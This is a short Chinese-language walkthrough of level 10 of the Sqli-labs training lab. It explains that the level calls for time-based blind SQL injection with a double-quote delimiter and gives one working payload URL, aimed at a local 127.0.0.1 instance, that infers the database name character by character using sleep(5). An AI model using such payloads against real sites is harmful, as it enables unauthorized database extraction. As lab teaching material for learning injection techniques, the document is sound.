Sqli-labs Less-10 延时注入
本关我们从标题就可以看到 “时间盲注-双引号”,所以很明显这关要我们利用延时注入进行,同时id参数进行的是 " 的处理。和less9的区别就在于单引号(')变成了("),我们这里给出一个payload示例,其他的请参考less-9
猜测数据库:
http://127.0.0.1/sql/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
其余的示例请参考less9,这里就不演示了。